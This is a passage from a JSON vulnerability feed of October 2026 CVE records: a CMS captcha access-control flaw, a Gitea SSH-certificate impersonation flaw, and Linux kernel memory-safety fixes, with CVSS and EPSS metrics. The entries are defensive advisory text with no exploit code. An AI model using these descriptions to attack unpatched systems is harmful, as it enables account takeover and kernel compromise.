and fixes.","publishedAt":"2026-10-19T02:17:05.997Z","updatedAt":"2026-10-20T19:17:28.590Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108984","asOf":"2026-10-20T19:17:28.590Z"},"epss":{"probability":0.00359,"percentile":0.29404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108984&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108984","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108984","type":"primary","publishedAt":"2026-10-19T02:17:05.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108984&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108984, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112025","cveId":"CVE-2026-112025","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This impacts an unknown function of the file...","summary":"A weakness has been identified in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This impacts an unknown function of the file App/Home/Controller/UserController.class.php of the component Captcha Validation. Executing a manipulation can lead to improper access controls. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This impacts an unknown function of the file App/Home/Controller/UserController.class.php of the component Captcha Validation. Executing a manipulation can lead to improper access controls. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T22:16:30.410Z","updatedAt":"2026-10-19T18:17:00.870Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112025","asOf":"2026-10-19T18:17:00.870Z"},"epss":{"probability":0.00361,"percentile":0.2959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112025","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112025","type":"primary","publishedAt":"2026-10-18T22:16:30.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109553","cveId":"CVE-2026-109553","aliases":[],"kind":"vulnerability","title":"Gitea resolved the principals of an SSH certificate by searching the content of all stored public keys instead of only principal keys.","summary":"Gitea resolved the principals of an SSH certificate by searching the content of all stored public keys instead of only principal keys. When Gitea trusts a user certificate authority (`SSH_TRUSTED_USER_CA_KEYS`) and accepts arbitrary principals (`SSH_AUTHORIZED_PRINCIPALS_ALLOW=anything`), a user could register another user's public key line as their own principal, or a holder of a certificate signed by that authority could list it, and then authenticate as the owner of that key through the HTTP signature API and the built-in SSH server. Instances that do not trust a user certificate authority are not affected.","detail":"Gitea resolved the principals of an SSH certificate by searching the content of all stored public keys instead of only principal keys. When Gitea trusts a user certificate authority (`SSH_TRUSTED_USER_CA_KEYS`) and accepts arbitrary principals (`SSH_AUTHORIZED_PRINCIPALS_ALLOW=anything`), a user could register another user's public key line as their own principal, or a holder of a certificate signed by that authority could list it, and then authenticate as the owner of that key through the HTTP signature API and the built-in SSH server. Instances that do not trust a user certificate authority are not affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T19:16:32.997Z","updatedAt":"2026-10-19T21:17:04.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109553","asOf":"2026-10-19T21:17:04.780Z"},"epss":{"probability":0.00198,"percentile":0.09389,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109553&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109553","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109553","type":"primary","publishedAt":"2026-10-18T19:16:32.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109553&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109553, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98555","cveId":"CVE-2026-98555","aliases":[],"kind":"vulnerability","title":"Linux kernel: llc: fix skb UAF and leaks on llc_mac_hdr_init() failure","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nllc: fix skb UAF and leaks on llc_mac_hdr_init() failure\n\nIn llc_conn_ac_resend_i_xxx_x_set_0_or_send_rr(), if llc_mac_hdr_init()\nfails, kfree_skb(skb) is called instead of kfree_skb(nskb). This leaks\nthe newly allocated nskb, reads from the freed skb via LLC_I_GET_NR(pdu),\nand double-frees skb when llc_conn_state_process() drops its reference.\n\nIn llc_sap_action_send_xid_r() and llc_sap_action_send_test_r(), nskb is\nleaked if llc_mac_hdr_init() returns an error.\n\nFree nskb in all three error paths.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nllc: fix skb UAF and leaks on llc_mac_hdr_init() failure\n\nIn llc_conn_ac_resend_i_xxx_x_set_0_or_send_rr(), if llc_mac_hdr_init()\nfails, kfree_skb(skb) is called instead of kfree_skb(nskb). This leaks\nthe newly allocated nskb, reads from the freed skb via LLC_I_GET_NR(pdu),\nand double-frees skb when llc_conn_state_process() drops its reference.\n\nIn llc_sap_action_send_xid_r() and llc_sap_action_send_test_r(), nskb is\nleaked if llc_mac_hdr_init() returns an error.\n\nFree nskb in all three error paths.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:07.610Z","updatedAt":"2026-10-24T14:16:47.463Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98555","asOf":"2026-10-24T14:16:47.463Z"},"epss":{"probability":0.0031,"percentile":0.2358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98555&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98555","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98555","type":"primary","publishedAt":"2026-10-18T16:17:07.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98555&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98555, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98550","cveId":"CVE-2026-98550","aliases":[],"kind":"vulnerability","title":"Linux kernel: tipc: reject invalid and unexpected GRP_ACK_MSG to prevent bc_ackers underflow","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: reject invalid and unexpected GRP_ACK_MSG to prevent bc_ackers underflow\n\nCommit 48a5fe38772b (\"tipc: fix bc_ackers underflow on duplicate\nGRP_ACK_MSG\") rejected duplicate/stale ACKs in tipc_group_proto_rcv()\nby returning early when less_eq(acked, m->bc_acked).\n\nHowever, that check remains incomplete in two ways:\n\n1. When grp->bc_ackers is zero (e.g. on a quiet group, when replicast\n   ACKs were not requested, or after all expected members have already\n   acknowledged), an unexpected GRP_ACK_MSG with acked > m->bc_acked\n   passes less_eq() and unconditionally decrements grp->bc_ackers.\n   Because bc_ackers is a u16, this wraps to 65535, causing\n   tipc_group_bc_cong() to permanently report congestion and blocking\n   all future group broadcasts on the socket.\n\n2. During an active broadcast round (grp->bc_ackers > 0), the sender\n   transmits packet S and advances grp->bc_snd_nxt to S + 1. Receivers\n   increment their expected counter to S + 1 upon consuming packet S,\n   so the only valid ACK value for the current round is strictly\n   acked == grp->bc_snd_nxt.\n\n   However, tipc_group_update_bc_members() initializes each member's\n   m->bc_acked to prev = grp->bc_snd_nxt - 1 (S - 1 before increment).\n   This leaves a 2-sequence gap (S - 1 to S + 1) in sequence space.\n   An incoming ACK is therefore neither rejected as duplicate nor\n   prevented from decrementing grp->bc_ackers if an unexpected or stale\n   value (such as S) is received. A member sending acked = S followed\n   by acked = S + 1 could decrement grp->bc_ackers twice in the same\n   round, prematurely clearing bc_ackers or underflowing it.\n\nFix this by:\n- Dropping GRP_ACK_MSG immediately if grp->bc_ackers is zero.\n- Requiring acked == grp->bc_snd_nxt and rejecting duplicates where\n  m->bc_acked == acked. Because replicast broadcast rounds are strictly\n  sequential, only grp->bc_snd_nxt can be acknowledged, and each member\n  can acknowledge at most once per round.\n\nNote that a related pre-existing issue in tipc_group_delete_member()\n(where grp->bc_ackers decrementing to zero upon member departure does\nnot restore *grp->open or trigger","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: reject invalid and unexpected GRP_ACK_MSG to prevent bc_ackers underflow\n\nCommit 48a5fe38772b (\"tipc: fix bc_ackers underflow on duplicate\nGRP_ACK_MSG\") rejected duplicate/stale ACKs in tipc_group_proto_rcv()\nby returning early when less_eq(acked, m->bc_acked).\n\nHowever, that check remains incomplete in two ways:\n\n1. When grp->bc_ackers is zero (e.g. on a quiet group, when replicast\n   ACKs were not requested, or after all expected members have already\n   acknowledged), an unexpected GRP_ACK_MSG with acked > m->bc_acked\n   passes less_eq() and unconditionally decrements grp->bc_ackers.\n   Because bc_ackers is a u16, this wraps to 65535, causing\n   tipc_group_bc_cong() to permanently report congestion and blocking\n   all future group broadcasts on the socket.\n\n2. During an active broadcast round (grp->bc_ackers > 0), the sender\n   transmits packet S and advances grp->bc_snd_nxt to S + 1. Receivers\n   increment their expected counter to S + 1 upon consuming packet S,\n   so the only valid ACK value for the current round is strictly\n   acked == grp->bc_snd_nxt.\n\n   However, tipc_group_update_bc_members() initializes each member's\n   m->bc_acked to prev = grp->bc_snd_nxt - 1 (S - 1 before increment).\n   This leaves a 2-sequence gap (S - 1 to S + 1) in sequence space.\n   An incoming ACK is therefore neither rejected as duplicate nor\n   prevented from decrementing grp->bc_ackers if an unexpected or stale\n   value (such as S) is received. A member sending acked = S followed\n   by acked = S + 1 could decrement grp->bc_ackers twice in the same\n   round, prematurely clearing bc_ackers or underflowing it.\n\nFix this by:\n- Dropping GRP_ACK_MSG immediately if grp->bc_ackers is zero.\n- Requiring acked == grp->bc_snd_nxt and rejecting duplicates where\n  m->bc_acked == acked. Because replicast broadcast rounds are strictly\n  sequential, only grp->bc_snd_nxt can be acknowledged, and each member\n  can acknowledge at most once per round.\n\nNote that a related pre-existing issue in tipc_group_delete_member()\n(where grp->bc_ackers decrementing to zero upon member departure does\nnot restore *grp->open or trigger a socket wakeup) will be addressed\nin a separate patch.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:07.030Z","updatedAt":"2026-10-24T14:16:47.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98550","asOf":"2026-10-24T14:16:47.290Z"},"epss":{"probability":0.00677,"percentile":0.52014,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98550&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98550","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98550","type":"primary","publishedAt":"2026-10-18T16:17:07.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98550&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98550, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98543","cveId":"CVE-2026-98543","aliases":[],"kind":"vulnerability","title":"Linux kernel: bpf: fs/xattr: don't assume the inode is locked in path_unlink/path_rmdir","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: fs/xattr: don't assume the inode is locked in path_unlink/path_rmdir\n\nbpf_lsm_has_d_inode_locked() makes the verifier rewrite\nbpf_[set|remove]_dentry_xattr() to the _locked variants, which assume\nthat the caller already holds the inode's i_rwsem.  The path_unlink and\npath_rmdir hooks are listed, but security_path_unlink() and\nsecurity_path_rmdir() run before vfs_unlink()/vfs_rmdir() take the\nvictim inode's i_rwsem, so a sleepable BPF LSM program attached to\neither hook mutates the victim's xattrs without the lock held.\n\nDrop the two path hooks from d_inode_locked_hooks so that the verifier\nkeeps the locking bpf_[set|remove]_dentry_xattr() variants, which take\nthe lock themselves.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: fs/xattr: don't assume the inode is locked in path_unlink/path_rmdir\n\nbpf_lsm_has_d_inode_locked() makes the verifier rewrite\nbpf_[set|remove]_dentry_xattr() to the _locked variants, which assume\nthat the caller already holds the inode's i_rwsem.  The path_unlink and\npath_rmdir hooks are listed, but security_path_unlink() and\nsecurity_path_rmdir() run before vfs_unlink()/vfs_rmdir() take the\nvictim inode's i_rwsem, so a sleepable BPF LSM program attached to\neither hook mutates the victim's xattrs without the lock held.\n\nDrop the two path hooks from d_inode_locked_hooks so that the verifier\nkeeps the locking bpf_[set|remove]_dentry_xattr() variants, which take\nthe lock themselves.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:06.200Z","updatedAt":"2026-10-24T14:16:46.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98543","asOf":"2026-10-24T14:16:46.803Z"},"epss":{"probability":0.00154,"percentile":0.04458,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98543&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98543","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98543","type":"primary","publishedAt":"2026-10-18T16:17:06.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98543&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98543, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98532","cveId":"CVE-2026-98532","aliases":[],"kind":"vulnerability","title":"Linux kernel: ipv6: do not let ipv6_find_hdr() return an offset past the packet end","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: do not let ipv6_find_hdr() return an offset past the packet end\n\nipv6_find_hdr() walks the extension header chain, skipping each header by\nthe length that header itself declares.  ipv6_optlen() returns up to 2048,\nand the skip is never checked against skb->len, so the offset stored in\n*offset can point past the end of the packet.\n\nopenvswitch installs that offset as the transport header, and\nupdate_ipv6_checksum() then reads and writes the transport checksum field\nout of bounds:\n\n  BUG: KASAN: slab-use-after-free in inet_proto_csum_replace16+0x445/0x470\n  Read of size 2 at addr ffff88810b754b06 by task ovs_ipv6_oob/629\n  CPU: 4 UID: 1000 PID: 629 Comm: ovs_ipv6_oob Tainted: G N 7.3.0-rc3+ #348\n  Call Trace:\n   inet_proto_csum_replace16+0x445/0x470\n   set_ipv6_addr+0x3dd/0x460\n   do_execute_actions+0x6a3d/0x7c40\n   ovs_execute_actions+0xfd/0x480\n   ovs_packet_cmd_execute+0xc38/0xf20\n   genl_rcv_msg+0x59e/0x870\n   netlink_rcv_skb+0x18b/0x450\n   genl_rcv+0x2d/0x40\n   netlink_unicast+0x6bc/0xa20\n\n  The buggy address belongs to the object at ffff88810b754980\n   which belongs to the cache skbuff_small_head of size 704\n  The buggy address is located 390 bytes inside of\n   freed 704-byte region [ffff88810b754980, ffff88810b754c40)\n\nOther callers use that offset too, so bound it here rather than in one\ncaller.\n\nReject a header whose declared length does not fit in the packet.\nipv6_find_hdr() already fails with -EBADMSG on a malformed chain, so this\nadds no new failure mode.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: do not let ipv6_find_hdr() return an offset past the packet end\n\nipv6_find_hdr() walks the extension header chain, skipping each header by\nthe length that header itself declares.  ipv6_optlen() returns up to 2048,\nand the skip is never checked against skb->len, so the offset stored in\n*offset can point past the end of the packet.\n\nopenvswitch installs that offset as the transport header, and\nupdate_ipv6_checksum() then reads and writes the transport checksum field\nout of bounds:\n\n  BUG: KASAN: slab-use-after-free in inet_proto_csum_replace16+0x445/0x470\n  Read of size 2 at addr ffff88810b754b06 by task ovs_ipv6_oob/629\n  CPU: 4 UID: 1000 PID: 629 Comm: ovs_ipv6_oob Tainted: G N 7.3.0-rc3+ #348\n  Call Trace:\n   inet_proto_csum_replace16+0x445/0x470\n   set_ipv6_addr+0x3dd/0x460\n   do_execute_actions+0x6a3d/0x7c40\n   ovs_execute_actions+0xfd/0x480\n   ovs_packet_cmd_execute+0xc38/0xf20\n   genl_rcv_msg+0x59e/0x870\n   netlink_rcv_skb+0x18b/0x450\n   genl_rcv+0x2d/0x40\n   netlink_unicast+0x6bc/0xa20\n\n  The buggy address belongs to the object at ffff88810b754980\n   which belongs to the cache skbuff_small_head of size 704\n  The buggy address is located 390 bytes inside of\n   freed 704-byte region [ffff88810b754980, ffff88810b754c40)\n\nOther callers use that offset too, so bound it here rather than in one\ncaller.\n\nReject a header whose declared length does not fit in the packet.\nipv6_find_hdr() already fails with -EBADMSG on a malformed chain, so this\nadds no new failure mode.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:04.790Z","updatedAt":"2026-10-24T14:16:46.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98532","asOf":"2026-10-24T14:16:46.340Z"},"epss":{"probability":0.00613,"percentile":0.49056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98532&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98532","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98532","type":"primary","publishedAt":"2026-10-18T16:17:04.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98532&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98532, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98524","cveId":"CVE-2026-98524","aliases":[],"kind":"vulnerability","title":"Linux kernel: rds: ib: Clear the sg list when mapping an MR fails","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nrds: ib: Clear the sg list when mapping an MR fails\n\nrds_ib_map_frmr() stores the caller's scatterlist in the MR before DMA\nmapping and registration can fail. On failure, __rds_rdma_map() unpins\nthe pages and frees the scatterlist, but rds_ib_free_frmr() can still\nreturn the MR to the pool with the stale pointer set.\n\nThis leaves the pool with a dangling scatterlist and can lead to local\nprivilege escalation. KASAN detects the resulting use-after-free when the\nMR is later torn down:\n\nBUG: KASAN: slab-use-after-free in __rds_ib_teardown_mr\nRead of size 8\n\nCall Trace:\n __rds_ib_teardown_mr\n rds_ib_unreg_frmr\n rds_ib_flush_mr_pool\n rds_ib_flush_mrs\n rds_free_mr\n rds_setsockopt\n\nStore the scatterlist in the MR only after DMA mapping succeeds. If DMA\nmapping fails, return directly while the MR fields remain clear; the caller\nkeeps ownership of the scatterlist and its pinned pages. If a later\nregistration step fails, unmap the scatterlist and clear the MR fields\nbefore returning.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nrds: ib: Clear the sg list when mapping an MR fails\n\nrds_ib_map_frmr() stores the caller's scatterlist in the MR before DMA\nmapping and registration can fail. On failure, __rds_rdma_map() unpins\nthe pages and frees the scatterlist, but rds_ib_free_frmr() can still\nreturn the MR to the pool with the stale pointer set.\n\nThis leaves the pool with a dangling scatterlist and can lead to local\nprivilege escalation. KASAN detects the resulting use-after-free when the\nMR is later torn down:\n\nBUG: KASAN: slab-use-after-free in __rds_ib_teardown_mr\nRead of size 8\n\nCall Trace:\n __rds_ib_teardown_mr\n rds_ib_unreg_frmr\n rds_ib_flush_mr_pool\n rds_ib_flush_mrs\n rds_free_mr\n rds_setsockopt\n\nStore the scatterlist in the MR only after DMA mapping succeeds. If DMA\nmapping fails, return directly while the MR fields remain clear; the caller\nkeeps ownership of the scatterlist and its pinned pages. If a later\nregistration step fails, unmap the scatterlist and clear the MR fields\nbefore returning.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:17:03.827Z","updatedAt":"2026-10-24T14:16:46.107Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98524","asOf":"2026-10-24T14:16:46.107Z"},"epss":{"probability":0.00171,"percentile":0.06455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98524&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98524","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98524","type":"primary","publishedAt":"2026-10-18T16:17:03.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98524&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98524, scored 2026-10-25. This is a model estimate, not proof of 